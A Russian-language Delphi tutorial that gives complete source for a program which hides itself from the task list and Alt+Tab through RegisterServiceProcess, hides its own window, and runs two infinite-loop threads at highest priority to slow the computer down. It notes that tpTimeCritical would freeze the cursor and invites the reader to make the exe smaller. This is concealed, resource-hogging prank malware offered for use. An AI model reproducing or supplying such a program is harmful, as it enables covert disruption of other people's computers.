Delphi - Step 3 {Программа Priority}
|
|
Если что-то не понял или не получилось, то можешь скачать здесь исходники. Теперь рассмотрим программу, работающую с потоками. Потоками можно сильно затормозить систему, установив им высокий приоритет. 1. Откройте меню File и выберите пункт New Application. 2. Снова File -> Save Project As. Сохраните модуль как ThrdUnit, а проект - как ThrdProj. 3. File -> New. И выбери объек типа поток (Thread Object). Появится окно New Items, в нем надо ввести TSimpleThread. Delphi создаст шаблон для нового потока, с таким содержанием: unit Thrd; interface uses Classes; type TSimpleThread = class(TThread) private { Private declarations } protected procedure Execute; override; end; implementation { Important: Methods and properties of objects in VCL can only be used in a method called using Synchronize, for example, Synchronize(UpdateCaption); and UpdateCaption could look like, procedure TSimpleThread.UpdateCaption; begin Form1.Caption := 'Updated in a thread'; end; } { TSimpleThread } procedure TSimpleThread.Execute; begin { Place thread code here } end; end. 4. сохрани его как Thrd.pas. 5. Теперь снова открой его и удали все содержимое, а потом вставь следущее: unit Thrd; interface uses Classes; type TSimpleThread = class(TThread) private { Private declarations } protected procedure Execute; override; public Count : Integer; end; implementation { TSimpleThread } procedure TSimpleThread.Execute; Var I: Integer; begin While True Do Begin For I := 1 To 10 Do Inc( Count ); end; end; end. 6. Теперь в главном файле модуля ThrdUnit.pas и добавьте модуль Thrd к списку используемых модулей файл ThrdUnit.pas должен выглядеть так: unit ThrdUnit; interface uses Classes, Forms, thrd, Windows; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); private { Private declarations } Thread1, Thread2: TSimpleThread; end; function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; {это делает программу невидимой в Ctrl+Alt+Del, в Alt+Tab} var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.ShowMainForm:=False; {это делает невидимой форму программы} if not (csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID, 1); Application.ShowMainForm:=False; Thread1 := TSimpleThread.Create( False ); Thread1.Priority := tpHighest; Thread2 := TSimpleThread.Create( False ); Thread2.Priority := tpHighest; end; end. 6. Нажми Ctrl+F12 и открой ThrdProj.dpr, вставь туда следущее: program ThrdProj; uses Forms, ThrdUnit in 'ThrdUnit.pas', Thrd in 'Thrd.pas'; begin Application.CreateForm(TForm1, Form1); Application.Run; end. 7. Ничто не буде работать если не сделать двойной клик на форме (т.е. OnCreate - FormCreate) 8. F9 (run) - все готово правда exe-шник занимает 289кб подумай над тем, как его уменьшить. P.S. Да вот еще чуть не забыл в ThrdUnit.pas есть такие строки Thread1.Priority := tpHighest; Thread2.Priority := tpHighest; - это как раз выставляет приоритет потокам. Допустимыми значениями приоритета являются: tpIdle, tpLowest, tpLower, tpNormal, tpHigher, tpHighest и tpTimeCritical (по мере возрастания). Если поставишь tpTimeCritical, то движения курсора ты нескоро дождешься. Если что-то не понял или не получилось, то можешь скачать здесь исходники. |